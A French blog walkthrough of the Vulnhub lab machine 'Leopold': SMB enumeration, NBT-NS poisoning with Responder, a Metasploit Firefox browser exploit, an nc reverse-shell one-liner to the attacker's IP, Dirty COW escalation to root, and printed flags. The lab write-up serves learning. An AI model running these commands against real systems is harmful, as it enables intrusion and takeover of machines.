P0pR0cK5's Blog

Pentest, Challenges, Tests and more ...

View on GitHub

Leopold

Retour

LEOPOLD

TL;DR

Cette machine vulnhub s’adresse aux débutants, elle permet de se placer dans la position d’un attaquant souhaitant cibler un poste client plutôt qu’un serveur. Cela offre donc une bonne manière de changer de point de vue et d’appréhender de nouvelles techniques.

Avant de nous lancer, je tiens à remercier Daniel Solstad (le créateur de la machine) pour son aide précieuse et ses indices lorsque j’étais bloqué.

Exploitation

Débutons par un scan de port basique sur la machine cible :

root@kali:~# nmap -sCV 192.168.122.131 -p-
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-20 09:11 CEST
Nmap scan report for leopold (192.168.122.131)
Host is up (0.0032s latency).
Not shown: 65533 closed ports
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.6.6 (workgroup: WORKGROUP)
MAC Address: 52:54:00:E0:12:38 (QEMU virtual NIC)

Host script results:
|_clock-skew: mean: -1h00m01s, deviation: 1h24m51s, median: -2h00m01s
|_nbstat: NetBIOS name: LEOPOLD, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Unix (Samba 3.6.6)
|   Computer name: leopold
|   NetBIOS computer name: 
|   Domain name: 
|   FQDN: leopold
|_  System time: 2019-07-20T09:11:29+02:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.13 seconds

Les seuls ports ouverts sont liés au protocole SMB, la version du serveur est 3.6.6.

Nous allons donc découper le plan d’attaque de la façon suivante :

  • Enumération des partages ouverts
  • Enumération des failles communes
  • Recherche d’exploits liés à des CVE
root@kali:~# smbmap -H 192.168.122.131
[+] Finding open SMB ports....
[+] Guest SMB session established on 192.168.122.131...
[+] IP: 192.168.122.131:445     Name: leopold                                           
        Disk                                                    Permissions
        ----                                                    -----------
        IPC$                                                    NO ACCESS
        print$                                                  NO ACCESS

Aucun share d’ouvert, essayons avec smbclient :

root@kali:~# smbclient -L \\192.168.122.131
Enter WORKGROUP\root's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        IPC$            IPC       IPC Service (leopold server (Samba, Ubuntu))
        print$          Disk      Printer Drivers

Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            LEOPOLD

Vérifions tout de même le contenu des partages ouverts :

root@kali:~# smbclient  //192.168.122.131/IPC$ 
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit
root@kali:~# smbclient  //192.168.122.131/print$ 
Enter WORKGROUP\root's password: 
tree connect failed: NT_STATUS_ACCESS_DENIED

Nous n’avons accès à aucun partage, et d’après searchsploit aucun exploit n’est applicable ici.

Note : TOUJOURS lire les exploits que l’on vous fournit, ne soyez pas des scripts kiddie.

Via nmap je vais essayer d’identifier une éventuelle faille dans le protocole samba :

nmap --script smb-vuln* -p445 192.168.122.131

Néanmoins, même si cette commande semble rapide, certains scripts nécessitent des arguments spécifiques :

root@kali:~# nmap --script smb-vuln-cve-2017-7494 | 
--script-args smb-vuln-cve-2017-7494.check-version -p445 192.168.122.131

Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-03 09:00 CEST
Nmap scan report for leopold (192.168.122.131)
Host is up (0.00081s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 52:54:00:E0:12:38 (QEMU virtual NIC)

Host script results:
| smb-vuln-cve-2017-7494: 
|   VULNERABLE:
|   SAMBA Remote Code Execution from Writable Share
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2017-7494
|     Risk factor: HIGH  CVSSv3: 7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)
|       All versions of Samba from 3.5.0 onwards are vulnerable to a remote
|       code execution vulnerability, allowing a malicious client to upload a
|       shared library to a writable share, and then cause the server to load
|       and execute it.
|       
|     Disclosure date: 2017-05-24
|     Check results:
|       Samba Version: 3.6.6
|     References:
|       https://www.samba.org/samba/security/CVE-2017-7494.html
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7494

Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds

Nous avons trouvé une faille répondant à la CVE-2017-7494

Mais rappelez-vous, aucun des share ne nous autorise l’écriture de fichier. Passons donc à autre chose, voyons voir ce que balance Leopold sur le réseau :

root@kali:~# tcpdump  'src 192.168.122.131' -vvv
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
08:33:01.725828 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 78)
    leopold.39090 > 192.168.122.255.netbios-ns: [udp sum ok] 
>>> NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
TrnID=0x7C45
OpCode=0
NmFlags=0x11
Rcode=0
QueryCount=1
AnswerCount=0
AuthorityCount=0
AddressRecCount=0
QuestionRecords:
Name=DISNEYWORLD     NameType=0x00 (Workstation)
QuestionType=0x20
QuestionClass=0x1


08:33:01.979097 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 78)
    leopold.46610 > 192.168.122.255.netbios-ns: [udp sum ok] 
>>> NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
TrnID=0x5DC6
OpCode=0
NmFlags=0x11
Rcode=0
QueryCount=1
AnswerCount=0
AuthorityCount=0
AddressRecCount=0 
QuestionRecords:                            
Name=DISNEYWORLD     NameType=0x00 (Workstation)    
QuestionType=0x20 
QuestionClass=0x1

Comme nous le voyons ici, de jolies requêtes en broadcast sont émises par la machine. Il s’agit en fait de requêtes netbios vers un serveur Active Directory. Voyons voir avec responder :

root@kali:~# responder -I eth0 -wrfv                                    

[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 192.168.122.131 for name DISNEYWORLD
[FINGER] OS Version     : Unix
[FINGER] Client Version : Samba 3.6.6

Ici, responder répond à la place du serveur ActiveDirectory pour rediriger la cible vers notre machine d’attaque.

Avec tcpdump (en parallèle) nous constatons en effet des requêtes HTTP venant de notre cible sur notre machine d’attaque :

GET / HTTP/1.1
Host: disneyworld
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

J’ai lancé ceci tcpdump ‘src 192.168.122.131’ -w leopold.pcap

Nous allons maintenant chercher un exploit permettant d’attaquer le navigateur de la cible :

root@kali:~# searchsploit -e Firefox --exclude="denial of service" -w
Mozilla Firefox - 'Array.reduceRight()' Integer Overflow (Metasploit) (2)     | https://www.exploit-db.com/exploits/17976
Mozilla Firefox - 'nsTreeRange' Dangling Pointer (2)                          | https://www.exploit-db.com/exploits/17419
Mozilla Firefox - 'pdf.js' Privileged JavaScript Injection (Metasploit)       | https://www.exploit-db.com/exploits/37958
Mozilla Firefox - 'table' Use-After-Free                                      | https://www.exploit-db.com/exploits/41660
Mozilla Firefox - Interleaving 'document.write' / 'appendChild' (Metasploit)  | https://www.exploit-db.com/exploits/16509
Mozilla Firefox - Proxy Prototype Privileged JavaScript Injection             | https://www.exploit-db.com/exploits/36480
Mozilla Firefox - Simplified Memory Corruption (PoC)                          | https://www.exploit-db.com/exploits/15342
Mozilla Firefox - WebIDL Privileged JavaScript Injection (Metasploit)         | https://www.exploit-db.com/exploits/34448
Mozilla Firefox - XMLSerializer Use-After-Free (Metasploit)                   | https://www.exploit-db.com/exploits/27940
Mozilla Firefox - location.QueryInterface() Code Execution (Metasploit)       | https://www.exploit-db.com/exploits/16301
Mozilla Firefox - toString console.time JavaScript Injection (Metasploit)     | https://www.exploit-db.com/exploits/34363
Mozilla Firefox - view-source:JavaScript url Code Execution                   | https://www.exploit-db.com/exploits/10070

Après avoir fait un premier tri des versions de Firefox différentes de 16, j’ai ouvert chacun des liens affichés et cherché la version exacte compatible avec la version de Firefox.

L’exploit compatible est le suivant : Mozilla Firefox - toString console.time Privileged JavaScript Injection (Metasploit).

Cet exploit est disponible uniquement dans Metasploit :

msf5 > use exploit/multi/browser/firefox_tostring_console_injection
msf5 exploit(multi/browser/firefox_tostring_console_injection) > set srvport 8080
srvport => 8080
msf5 exploit(multi/browser/firefox_tostring_console_injection) > run             
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.122.26:4444 
[*] Using URL: http://0.0.0.0:8080/WYxStnrboh4
[*] Local IP: http://192.168.122.26:8080/WYxStnrboh4
[*] Server started.

msf5 exploit(multi/browser/firefox_tostring_console_injection) > 
[*] 192.168.122.131  firefox_tostring_console_injection - Gathering target information for 192.168.122.131
[*] 192.168.122.131  firefox_tostring_console_injection - Sending HTML response to 192.168.122.131
[*] Command shell session 1 opened (192.168.122.26:4444 -> 192.168.122.131:35454) at 2019-08-26 22:09:03 +0200

msf5 exploit(multi/browser/firefox_tostring_console_injection) > sessions

Active sessions
===============

  Id  Name  Type                   Information  Connection
  --  ----  ----                   -----------  ----------
  1         shell firefox/firefox               192.168.122.26:4444 -> 192.168.122.131:35454
msf5 exploit(multi/browser/firefox_tostring_console_injection) > sessions 1
[*] Starting interaction with 1...

ls 
browse.sh
Desktop
Documents
Downloads
examples.desktop
flag.txt
Music
Pictures
Public
Templates
Videos
id
uid=1000(leopold) gid=1000(leopold) groups=1000(leopold),
4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare)

Le shell est instable, nous allons donc en créer un plus stable :

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.122.26 8888 >/tmp/f

Source : PayloadAllTheThings

Nous voilà avec le flag user : 924adc9f3f14672ab03903

En regardant un peu la version du noyau installé nous découvrons ceci :

Linux leopold 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux

Il semble donc que notre machine soit vulnérable à la faille Dirty Cow, utilisons cet exploit :

Pour l’utiliser nous devons le compiler puis le lancer :

$ gcc dirtycow.c -pthread
gcc dirtycow.c -pthread
dirtycow.c: In function ‘procselfmemThread’:
dirtycow.c:53:9: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [enabled by default]
In file included from dirtycow.c:7:0:/usr/include/unistd.h:335:16: note: expected ‘__off_t’ but argument is of type ‘void *’                       
dirtycow.c: In function ‘main’:
dirtycow.c:96:5: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘__off_t’ [-Wformat]
$ ls
ls
a.out      Desktop     Documents  examples.desktop  Music     Public     Videos           browse.sh  dirtycow.c  Downloads  flag.txt          Pictures  Templates                   
$ ./a.out
./a.out
DirtyCow root privilege escalation
Backing up /usr/bin/passwd.. to /tmp/bak
Size of binary: 41292
Racing, this may take a while..
thread stopped
thread stopped
/usr/bin/passwd is overwritten
Popping root shell.
Don't forget to restore /tmp/bak
root@leopold:/home/leopold# id
id
uid=0(root) gid=1000(leopold) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare),1000(leopold)
root@leopold:/home/leopold# ls /root
ls /root
flag.txt
root@leopold:/home/leopold# cat /root/flag.txt
cat /root/flag.txt
53b0af358e2bf5cef9883f25fc
root@leopold:/home/leopold#

Nous sommes maintenant root !


Written on December 6, 2019 by


Retour